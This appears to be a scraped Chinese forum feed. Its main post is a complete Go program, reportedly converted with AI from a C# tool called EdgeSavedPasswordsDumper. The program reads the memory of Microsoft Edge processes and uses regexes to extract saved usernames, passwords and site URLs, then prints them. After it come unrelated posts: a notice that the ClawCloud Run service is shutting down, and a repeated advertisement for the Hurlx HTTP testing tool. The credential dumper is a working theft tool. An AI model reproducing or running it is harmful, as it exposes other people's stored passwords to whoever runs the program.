package main import ( "fmt" "regexp" "strings" "syscall" "unsafe" "github.com/StackExchange/wmi" "golang.org/x/sys/windows" ) const ( PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x1000 PAGE_READWRITE = 0x04 ) type MEMORY_BASIC_INFORMATION struct { BaseAddress uintptr AllocationBase uintptr AllocationProtect uint32 RegionSize uintptr State uint32 Protect uint32 Type uint32 } type ProcessInfo struct { Id uint32 Name string Owner string } type Win32Process struct { ProcessId uint32 Name string ParentProcessId uint32 } var ( kernel32 = windows.NewLazySystemDLL("kernel32.dll") advapi32 = windows.NewLazySystemDLL("advapi32.dll") procOpenProcess = kernel32.NewProc("OpenProcess") procVirtualQueryEx = kernel32.NewProc("VirtualQueryEx") procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") procCloseHandle = kernel32.NewProc("CloseHandle") procOpenProcessToken = advapi32.NewProc("OpenProcessToken") ) func OpenProcess(dwDesiredAccess uint32, bInheritHandle bool, dwProcessId uint32) (windows.Handle, error) { var inheritHandle uint32 if bInheritHandle { inheritHandle = 1 } handle, _, err := procOpenProcess.Call( uintptr(dwDesiredAccess), uintptr(inheritHandle), uintptr(dwProcessId), ) if handle == 0 { return 0, err } return windows.Handle(handle), nil } func VirtualQueryEx(hProcess windows.Handle, lpAddress uintptr, lpBuffer *MEMORY_BASIC_INFORMATION, dwLength uint32) uintptr { ret, _, _ := procVirtualQueryEx.Call( uintptr(hProcess), lpAddress, uintptr(unsafe.Pointer(lpBuffer)), uintptr(dwLength), ) return ret } func ReadProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesRead *uintptr) bool { ret, _, _ := procReadProcessMemory.Call( uintptr(hProcess), lpBaseAddress, uintptr(unsafe.Pointer(lpBuffer)), nSize, uintptr(unsafe.Pointer(lpNumberOfBytesRead)), ) return ret != 0 } func CloseHandle(hObject windows.Handle) bool { ret, _, _ := procCloseHandle.Call(uintptr(hObject)) return ret != 0 } func OpenProcessToken(ProcessHandle windows.Handle, DesiredAccess uint32, TokenHandle *windows.Token) error { ret, _, err := procOpenProcessToken.Call( uintptr(ProcessHandle), uintptr(DesiredAccess), uintptr(unsafe.Pointer(TokenHandle)), ) if ret == 0 { return err } return nil } func GetProcessOwnerFromToken(pid uint32) string { handle, err := OpenProcess(0x1000 /* QUERY_LIMITED_INFORMATION */, false, pid) if err != nil || handle == 0 { return "UNKNOWN" } defer CloseHandle(handle) var token windows.Token err = OpenProcessToken(handle, 8 /* TOKEN_QUERY */, &token) if err != nil { return "UNKNOWN" } defer token.Close() tokenUser, err := token.GetTokenUser() if err != nil { return "UNKNOWN" } accountName, _, _, err := tokenUser.User.Sid.LookupAccount("") if err != nil { return "UNKNOWN" } return accountName } func IsElevated() bool { var sid *windows.SID err := windows.AllocateAndInitializeSid( &windows.SECURITY_NT_AUTHORITY, 2, windows.SECURITY_BUILTIN_DOMAIN_RID, windows.DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid, ) if err != nil { return false } defer windows.FreeSid(sid) token := windows.GetCurrentProcessToken() isMember, err := token.IsMember(sid) if err != nil { return false } return isMember } func main() { isElevated := IsElevated() if !isElevated { fmt.Print("\033[31m[x]\033[0m") fmt.Println(" Not running elevated.") fmt.Println("\nProgram will only be able to access Edge processes run by the same user.") fmt.Println("The program might also fail trying to look up owner of some Edge processes.\n") } else { fmt.Print("\033[32m[v]\033[0m") fmt.Println(" Running elevated.\n") } fmt.Print("Fetching browser processes:") totalMatches := 0 shownMatches := 0 seenStrings := make(map[string]struct{}) alreadyCheckedUsers := make(map[string]struct{}) var processes []Win32Process query := "SELECT ProcessId, Name, ParentProcessId FROM Win32_Process WHERE Name='msedge.exe'" err := wmi.Query(query, &processes) if err != nil { fmt.Printf("Error querying WMI: %v\n", err) return } var processList []ProcessInfo for _, proc := range processes { parentPid := proc.ParentProcessId skip := false // Check parent process parentHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION, false, parentPid) if err == nil && parentHandle != 0 { // Get parent process name var exeName [windows.MAX_PATH]uint16 size := uint32(len(exeName)) err = windows.QueryFullProcessImageName(windows.Handle(parentHandle), 0, &exeName[0], &size) if err == nil { name := syscall.UTF16ToString(exeName[:]) if strings.Contains(strings.ToLower(name), "msedge") { skip = true } } CloseHandle(parentHandle) } if skip { continue } processList = append(processList, ProcessInfo{ Id: proc.ProcessId, Name: proc.Name, Owner: GetProcessOwnerFromToken(proc.ProcessId), }) } fmt.Println(" Done.\n") for _, proc := range processList { key := fmt.Sprintf("%s %s", proc.Owner, proc.Name) if _, exists := alreadyCheckedUsers[key]; exists { continue } owner := strings.Replace(proc.Owner, "NSC\\t1_", "", -1) fmt.Printf("Scanning process PID: %d\tName: %s\tOwner: %s\n", proc.Id, proc.Name, owner) processHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, false, proc.Id) if err != nil || processHandle == 0 { fmt.Printf("Failed to open process: %d %s %s\n", proc.Id, proc.Name, proc.Owner) continue } var address uintptr = 0 var memInfo MEMORY_BASIC_INFORMATION memInfoSize := uint32(unsafe.Sizeof(memInfo)) for VirtualQueryEx(processHandle, address, &memInfo, memInfoSize) != 0 { readable := memInfo.State == MEM_COMMIT && memInfo.Protect == PAGE_READWRITE if readable { buffer := make([]byte, memInfo.RegionSize) var bytesRead uintptr ret, _, _ := procReadProcessMemory.Call( uintptr(processHandle), memInfo.BaseAddress, uintptr(unsafe.Pointer(&buffer[0])), memInfo.RegionSize, uintptr(unsafe.Pointer(&bytesRead)), ) if ret != 0 { utf8 := string(buffer) lines := strings.Split(utf8, "\n") for _, line := range lines { // Pattern for saved passwords pattern := regexp.MustCompile(`[a-zA-Z]https?\x20([a-zA-Z0-9\\\-_\.@\?]{1,20})\x20([a-zA-Z0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{1,40})\x20\x00`) matches := pattern.FindAllStringSubmatch(line, -1) for _, match := range matches { if len(match) < 3 { continue } username := match[1] password := match[2] potentialPattern := fmt.Sprintf("%s : %s", username, password) urlPattern := regexp.MustCompile(fmt.Sprintf(`\x00\x00\x00([A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%%]+)(https?)\x20%s %s`, regexp.QuoteMeta(username), regexp.QuoteMeta(password))) urlMatches := urlPattern.FindAllStringSubmatch(line, -1) for _, urlMatch := range urlMatches { if len(urlMatch) < 2 { continue } value := urlMatch[1] combined := fmt.Sprintf("%s @%s", potentialPattern, value) if _, seen := seenStrings[combined]; !seen { fmt.Println(combined) seenStrings[combined] = struct{}{} shownMatches++ totalMatches++ } } alreadyCheckedUsers[key] = struct{}{} } } } } address = memInfo.BaseAddress + memInfo.RegionSize } CloseHandle(processHandle) } seenStrings = nil fmt.Printf("\nTotal matches found across all processes: %d. %d shown.\n", totalMatches, shownMatches) } 根据EdgeSavedPasswordsDumper(c#) 用AI转的go的 1 个帖子 - 1 位参与者 阅读完整话题
还有8小时就停服了,最后提醒下佬们备份数据 ClawCloud Run Question IMPORTANT: ClawCloud Run Service Discontinuation & Refund Notice - ClawCloud... Dear Customers, After careful consideration, we have made the difficult decision to discontinue our product and related services. We sincerely appreciate your trust and support throughout our journey together. This notice provides the full ... 1 个帖子 - 1 位参与者 阅读完整话题
模块化复用 独家支持 import/export 语法,彻底告别复制粘贴。你可以将鉴权逻辑、全局配置、公共断言封装成独立模块,一次编写,到处引用,让团队协作更高效。 工程化利器 完美支持变量链式传递、动态数据生成(如 UUID 、时间戳)以及复杂的多文件工作流。无论是简单的接口调试,还是复杂的自动化测试套件,都能轻松驾驭。 全兼容 Hurl 完全兼容 Hurl 的所有特性。无论是强大的 JSON 断言、响应时间监控,还是严格的类型检查,Hurlx 都能无缝支持,平滑迁移无压力。 https://hurlx.vercel.app
模块化复用 独家支持 import/export 语法,彻底告别复制粘贴。你可以将鉴权逻辑、全局配置、公共断言封装成独立模块,一次编写,到处引用,让团队协作更高效。 工程化利器 完美支持变量链式传递、动态数据生成(如 UUID 、时间戳)以及复杂的多文件工作流。无论是简单的接口调试,还是复杂的自动化测试套件,都能轻松驾驭。 全兼容 Hurl 完全兼容 Hurl 的所有特性。无论是强大的 JSON 断言、响应时间监控,还是严格的类型检查,Hurlx 都能无缝支持,平滑迁移无压力。 https://hurlx.vercel.app